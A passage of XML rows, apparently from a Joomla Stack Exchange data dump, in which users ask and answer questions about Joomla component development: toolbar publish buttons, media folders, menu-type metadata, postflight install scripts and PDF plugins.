  <row Id="1134" PostTypeId="2" ParentId="1132" CreationDate="2014-06-05T08:03:28.740" Score="4" Body="&lt;p&gt;Since a module is assigned on a specific item id, then it will be displayed, when this itemid exists in the url.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You could create a specific menu item, probably hidden, for the display of the links, where you can assign only the modules you want to display.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In such cases, it comes handy the &lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Advanced Module Manager&lt;/strong&gt;&lt;/a&gt; by NoNumbers, which gives you much more control on where &amp;amp; when a module will be displayed. There is a free version to try it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-09-23T10:49:10.500" LastActivityDate="2015-09-23T10:49:10.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1135" PostTypeId="2" ParentId="1108" CreationDate="2014-06-05T11:33:56.350" Score="5" Body="&lt;p&gt;to include specific JS and CSS in a component, I follow Michael Babker's advice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the media Folder, Allow Overridable Media&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&quot; rel=&quot;nofollow&quot;&gt;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;at your root component folder, create a folder called &lt;code&gt;media&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;inside, create 2 folders, &lt;code&gt;css&lt;/code&gt; and &lt;code&gt;js&lt;/code&gt;&#xA;Don't forget to include the required blank &lt;strong&gt;index.html&lt;/strong&gt; in all these folders&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the &lt;strong&gt;yourcomponent.xml&lt;/strong&gt; file accordingly:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media folder=&quot;media&quot; destination=&quot;com_yourcomponent&quot;&amp;gt;               &#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;                 &#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;              &#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in &lt;code&gt;/views/yourcomponent/default.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/views/whateveristhenameofthisfolder/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;call your JS / CSS files this way :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'com_yourcomponent/yourcss.css', false, true);&#xA;JHtml::_('script', 'com_yourcomponent/yourjs.js', false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you can use different JS/CSS scripts for each of your views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="168" LastEditDate="2014-11-20T15:28:48.930" LastActivityDate="2014-11-20T15:28:48.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1136" PostTypeId="2" ParentId="1128" CreationDate="2014-06-05T13:44:07.193" Score="3" Body="&lt;p&gt;Specifically, I would recommend the Phoca PDF Content plugin: &lt;a href=&quot;http://www.phoca.cz/phocapdf-plugins&quot; rel=&quot;nofollow&quot;&gt;http://www.phoca.cz/phocapdf-plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to customize the icon in your template if it has custom styles for the email and print so that it all matches.  If you run into that situation, post the URL to an article once you have Phoca installed as well as the name of the template.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-06-05T13:44:07.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1137" PostTypeId="1" CreationDate="2014-06-05T16:57:59.213" Score="-2" ViewCount="2081" Body="&lt;p&gt;I'm building a Joomla component and trying to use Joomla toolbars, problem is the buttons are not working properly, at least the publish and unpublish buttons are not (edit) - &lt;strong&gt;when I use the publish or unpublish button from the tool bar, the page reloads, it gives success message &lt;em&gt;but the states remain the same&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code: (end edit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Table File&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die(&quot;Restricted Access&quot;);&#xA;&#xA;class WetvprogramschedulerTableDay extends JTable {&#xA;    public function __construct(&amp;amp;$db)&#xA;    {&#xA;        parent::__construct('#__wetv_programs_days', 'program_day_id', $db);&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die(&quot;Restricted Access&quot;);&#xA;&#xA;jimport('joomla.application.component.modeladmin');&#xA;&#xA;class WetvprogramschedulerModelDay extends JModelAdmin {&#xA;    public function getTable($type = 'Day', $prefix = 'WetvprogramschedulerTable', $config = array()) {&#xA;        return JTable::getInstance($type, $prefix, $config);&#xA;    }&#xA;&#xA;    public function getForm($data = array(), $loadData = true) {&#xA;        $form = $this-&amp;gt;loadForm();&#xA;&#xA;        return $form;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Controller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die(&quot;Restricted Access&quot;);&#xA;&#xA;jimport('joomla.application.component.controlleradmin');&#xA;&#xA;class WetvprogramschedulerControllerDays extends JControllerAdmin {&#xA;    protected $text_prefix = 'COM_WETVPROGRAMSCHEDULER_DAYS';&#xA;&#xA;    public function getModel($name = 'Day', $prefix = 'WetvprogramschedulerModel', $config = array('ignore_request' =&amp;gt; true)) {&#xA;        $model = parent::getModel($name, $prefix, $config);&#xA;&#xA;        return $model;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die(&quot;Restricted Access&quot;);&#xA;&#xA;jimport( 'joomla.application.component.view');&#xA;&#xA;class WetvprogramschedulerViewDays extends JView {&#xA;    protected $items;&#xA;    protected $pagination;&#xA;&#xA;    public function display($tpl = null) {&#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;&#xA;        $this-&amp;gt;addToolbar();&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;    public function addToolbar() {&#xA;        JToolBarHelper::title(JText::_('COM_WETVPROGRAMSCHEDULER_DAYS_TITLE'));&#xA;&#xA;        JToolBarHelper::addNew('day.add');&#xA;        JToolBarHelper::editList('day.edit');&#xA;&#xA;        JToolBarHelper::divider();&#xA;&#xA;        JToolBarHelper::publishList('days.publish');&#xA;        JToolBarHelper::unpublishList('days.unpublish');&#xA;&#xA;        JToolBarHelper::divider();&#xA;&#xA;        JToolBarHelper::archiveList('days.archive');&#xA;&#xA;        JToolBarHelper::trash('days.trash');&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined( '_JEXEC' ) or die(&quot;Restricted Access&quot;); ?&amp;gt;&#xA;&amp;lt;form action=&quot;index.php?option=com_wetvprogramscheduler&amp;amp;amp;view=days&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&amp;lt;table class=&quot;adminlist&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th width=&quot;1%&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkall-toggle&quot; value=&quot;&quot; onclick=&quot;checkAll(this)&quot; /&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;?php echo JText::_('COM_WETVPROGRAMSCHEDULER_FIELD_DAY_NAME_LABEL') ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;?php echo JText::_('COM_WETVPROGRAMSCHEDULER_FIELD_DAY_IMAGE_LABEL') ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;?php echo JText::_('JSTATUS') ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item): ?&amp;gt;&#xA;            &amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2 ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;td class=&quot;center&quot;&amp;gt;&#xA;                    &amp;lt;?php echo JHtml::_('grid.id', $i, $item-&amp;gt;progam_day_id); ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;url; ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;program_day) ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;program_day_image) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;center&quot;&amp;gt;&#xA;                    &amp;lt;?php echo JHtml::_('jgrid.published',&#xA;                    $item-&amp;gt;published, $i, 'days.', true, 'cb'); ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php endforeach ?&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;tfoot&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td colspan=&quot;4&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tfoot&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate a quick response. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="488" LastEditorUserId="488" LastEditDate="2014-06-06T09:48:10.327" LastActivityDate="2014-06-06T16:49:24.743" Title="Joomla Component Tool Bar Buttons Not Working" Tags="|component|mvc|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1138" PostTypeId="1" AcceptedAnswerId="2191" CreationDate="2014-06-05T19:20:36.170" Score="1" ViewCount="1119" Body="&lt;p&gt;I want to create a custom com_tags/tags layout, however I need to keep the parent_id field for the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done is create:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/mytemplate/html/com_tags/tags/species.php&#xA;/templates/mytemplate/html/com_tags/tags/species.xml (copied from administrator/components/tags/config.xml)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows a &quot;Species&quot; entry in the menu type popup, however none of the customisation fields is there anymore. I need the parent_id field, which is on the &quot;List of all tags&quot; entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I debugged the code and apparently I need&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/mytemplate/html/com_tags/metadata.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which seems to need to contain some sort of &quot;menu&quot; entry. I can't find any example of how this should be formatted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example file from Akeeba backup &lt;a href=&quot;https://github.com/akeeba/contactus/blob/master/component/frontend/views/item/metadata.xml&quot; rel=&quot;nofollow&quot;&gt;https://github.com/akeeba/contactus/blob/master/component/frontend/views/item/metadata.xml&lt;/a&gt; but I cannot figure out how to add options here?&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-06-09T14:31:14.043" Title="Create new menu type, define fields, metadata.xml" Tags="|development|template-override|tags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1140" PostTypeId="2" ParentId="1137" CreationDate="2014-06-05T21:35:25.303" Score="1" Body="&lt;p&gt;do you have a &lt;code&gt;JModelList&lt;/code&gt; model? you need that for the listing view to properly display all the items. &lt;code&gt;JModelAdmin&lt;/code&gt; is used for the individual edit views. You can look in a Joomla install in &lt;code&gt;com_content&lt;/code&gt; That one has the best examples of how they work in my opinion (and simple as well). I say this too start just because I cannot see it in your examples. Not required but not having it can lead to other issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your controller is correct just make sure for the edit view you use &lt;code&gt;JControllerForm&lt;/code&gt; To use Joomla's xml based settings and such (more of that can be found in the documentation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aDeveloping_a_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Developing_a_Basic_Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link has some excellent examples of the basic structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main thing to make sure these basic functions operate as intended is to ensure that the standard Joomla structure is followed as closely as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also notice that in most cases Joomla uses &quot;state&quot; and not &quot;published&quot; for the actual database column.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('jgrid.published',&#xA;                    $item-&amp;gt;state, $i, 'days.', true, 'cb'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would work better as a lot of the classes in Joomla assume &quot;state&quot; rather then &quot;published&quot; so although its easy to pull from a published column, editing it may not be as easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you are getting any specific error that can help isolate the issue as well, this answer is indirect as the question is not specific. It will be updated if more information is given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to add this function to JTable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function publish($pks = null, $state = 1, $userId = 0){&#xA;    $k = $this-&amp;gt;_tbl_key;&#xA;&#xA;    // Sanitize input.&#xA;    JArrayHelper::toInteger($pks);&#xA;    $userId = (int) $userId;&#xA;    $state = (int) $state;&#xA;&#xA;    // If there are no primary keys set check to see if the instance key is set.&#xA;    if (empty($pks)){&#xA;        if($this-&amp;gt;$k){&#xA;            $pks = array($this-&amp;gt;$k);&#xA;        }else{&#xA;            $this-&amp;gt;setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));&#xA;            return false;&#xA;        }&#xA;    }&#xA;&#xA;    $pksImploded = implode(',', $pks);&#xA;&#xA;    // Get the JDatabaseQuery object&#xA;    $query = $this-&amp;gt;_db-&amp;gt;getQuery(true);&#xA;&#xA;    // Update the publishing state for rows with the given primary keys.&#xA;    $query-&amp;gt;update($this-&amp;gt;_db-&amp;gt;quoteName($this-&amp;gt;_tbl))&#xA;        -&amp;gt;set($this-&amp;gt;_db-&amp;gt;quoteName('state') . ' = ' . (int) $state)&#xA;        -&amp;gt;where($this-&amp;gt;_db-&amp;gt;quoteName($k) . 'IN (' . $pksImploded . ')');&#xA;&#xA;    // Determine if there is checkin support for the table.&#xA;    $checkin = false;&#xA;    if (property_exists($this, 'checked_out_user_id') &amp;amp;&amp;amp; property_exists($this, 'checked_out_time')){&#xA;        $checkin = true;&#xA;        $query-&amp;gt;where(' (' . $this-&amp;gt;_db-&amp;gt;quoteName('checked_out_user_id') . ' = 0 OR ' . $this-&amp;gt;_db-&amp;gt;quoteName('checked_out_user_id') . ' = ' . (int) $userId . ')');&#xA;    }&#xA;    $this-&amp;gt;_db-&amp;gt;setQuery($query);&#xA;&#xA;    try{&#xA;        $this-&amp;gt;_db-&amp;gt;execute();&#xA;    }catch (RuntimeException $e){&#xA;        $this-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;        return false;&#xA;    }&#xA;&#xA;    // If checkin is supported and all rows were adjusted, check them in.&#xA;    if ($checkin &amp;amp;&amp;amp; (count($pks) == $this-&amp;gt;_db-&amp;gt;getAffectedRows())){&#xA;        // Checkin the rows.&#xA;        foreach ($pks as $pk){&#xA;            $this-&amp;gt;checkin($pk);&#xA;        }&#xA;    }&#xA;    // If the JTable instance value is in the list of primary keys that were set, set the instance.&#xA;    if (in_array($this-&amp;gt;$k, $pks)){&#xA;        $this-&amp;gt;state = $state;&#xA;    }&#xA;&#xA;    $this-&amp;gt;setError('');&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked into the default column for published and it is &lt;code&gt;published&lt;/code&gt; and not &lt;code&gt;state&lt;/code&gt; I just typically use this function to change that since most core components do that as well (seems a little odd).&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-06-06T16:49:24.743" LastActivityDate="2014-06-06T16:49:24.743" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1141" PostTypeId="2" ParentId="1128" CreationDate="2014-06-05T21:45:49.733" Score="2" Body="&lt;p&gt;Creating PDF's from articles comes with many problems, getting them to look correct is hard just because the styling of it is very different then a normal article. Using print css can be a better solution and I am sure there are extensions for that sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/search?q=pint&amp;amp;q=print&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/search?q=pint&amp;amp;q=print&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just a suggestion though, from personal experience, below is how I added PDF views in Joomla Sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way to &quot;re add&quot; the pdf views from a programming perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aCreating_PDF_views&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Creating_PDF_views&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for 2.5 however I have used it in up to 3.2 as well (not sure on 3.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be difficult to do but with an article override as well it is possible to re add the &quot;pdf&quot; button as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should allow you to add the extra button in all views you need. It does require some coding experience but the guides should help with that.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-05T21:45:49.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1142" PostTypeId="2" ParentId="1138" CreationDate="2014-06-05T22:07:24.190" Score="1" Body="&lt;p&gt;If I am understanding correctly then there is another option, and that is to &quot;ignore&quot; the normal way that is difficult to achieve without some sort of override and use the fact that your override is a php file to get the information separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/662/how-to-get-itemid-by-url-and-pass-it-to-jroute/674#674&quot;&gt;How to get Itemid by URL and pass it to JRoute&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer here shows the following to create a link to a specific page by getting the menu item ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$menu = $app-&amp;gt;getMenu();&#xA;$menuItem = $menu-&amp;gt;getItems( 'link', 'index.php?option=com_example&amp;amp;view=something', true );&#xA;echo JRoute::_('index.php?Itemid='.$menuItem-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in this case &lt;code&gt;$menuItem&lt;/code&gt; is actually an object containing the information about that menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so.....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$menu = $app-&amp;gt;getMenu();&#xA;$menuItem = $menu-&amp;gt;getItems( 'link', 'index.php?option=com_example&amp;amp;view=something', true );&#xA;echo JRoute::_('index.php?Itemid='.$menuItem-&amp;gt;parent_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should get you a link to the parent menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you may just need the current menu item, so by adjusting this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuItem = $menu-&amp;gt;getItems( 'link', 'index.php?option=com_example&amp;amp;view=something', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuItem = $menu-&amp;gt;getActive();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to get the link of the parent of the current page only. Experimenting can probably take this much further as well as &lt;code&gt;$menu-&amp;gt;getItems()&lt;/code&gt; has a lot of options you can use (although I have been unable to find a good documentation page on it).&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-06-05T22:07:24.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1143" PostTypeId="1" AcceptedAnswerId="1144" CreationDate="2014-06-05T22:55:03.013" Score="4" ViewCount="303" Body="&lt;p&gt;I am creating a module that I hope will do a little more complex functions than many. However, I will need to do certain things like DB modification and moving files when the module installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working with Joomla 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do a &lt;code&gt;postflight&lt;/code&gt; routine on a module install? Can you show example or link to docs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="168" LastEditDate="2014-07-31T08:08:38.640" LastActivityDate="2017-12-14T08:38:34.090" Title="Is it possible to call a postflight on a module install?" Tags="|joomla-3.3.x|module|installation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1144" PostTypeId="2" ParentId="1143" CreationDate="2014-06-05T23:07:07.497" Score="2" Body="&lt;p&gt;Yes, this is possible and is pretty straight forward as well. Firstly, you need to add the following to your modules XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course, going by this, you will need to create a file called &lt;strong&gt;script.php&lt;/strong&gt; or whatever you wish to call it. Just make sure you change the file name in the code above accordingly. Them, in the file, add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class com_helloWorldInstallerScript&#xA;{    &#xA;     function postflight($type, $parent) &#xA;     {&#xA;           // all your code goes in here&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply add your code in the postflight function which will then get executed after the module has been installed. Joomla also provides 4 other built in functions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;install&lt;/li&gt;&#xA;&lt;li&gt;uninstall&lt;/li&gt;&#xA;&lt;li&gt;preflight&lt;/li&gt;&#xA;&lt;li&gt;update&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These may also come in handy for the future. more information can be found on all of this here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-12-14T08:38:34.090" LastActivityDate="2017-12-14T08:38:34.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1145" PostTypeId="2" ParentId="1143" CreationDate="2014-06-05T23:10:20.620" Score="2" Body="&lt;p&gt;Yes you should be able too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aDeveloping_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5%3aCreating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust that to use &quot;mod&quot; as well and in the config file for the module you just need to add &lt;code&gt;&amp;lt;scriptfile&amp;gt;path&amp;lt;/scriptfile&amp;gt;&lt;/code&gt; (I think, it could be slightly different then that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do any database and file manipulation you will need JDatabase and JFile/JFolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/How_to_use_the_filesystem_package&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_to_use_the_filesystem_package&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These should help get you started.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-05T23:10:20.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1146" PostTypeId="1" AcceptedAnswerId="1147" CreationDate="2014-06-06T05:56:53.513" Score="6" ViewCount="3636" Body="&lt;p&gt;when i try to register from the &lt;strong&gt;front-end of Joomla&lt;/strong&gt;, its displayed that the activation email has been sent but actually there is no email sent. i have tried this before but on a Web host and it works fine on any Web host. For now i need to test &lt;strong&gt;user registration on LOCALHOST&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I am using PHP MAIL, don't know anything about SMTP config?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user484" LastEditorDisplayName="user484" LastEditDate="2014-06-06T06:11:14.543" LastActivityDate="2017-04-07T16:00:25.813" Title="Activation email not sent via localhost?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
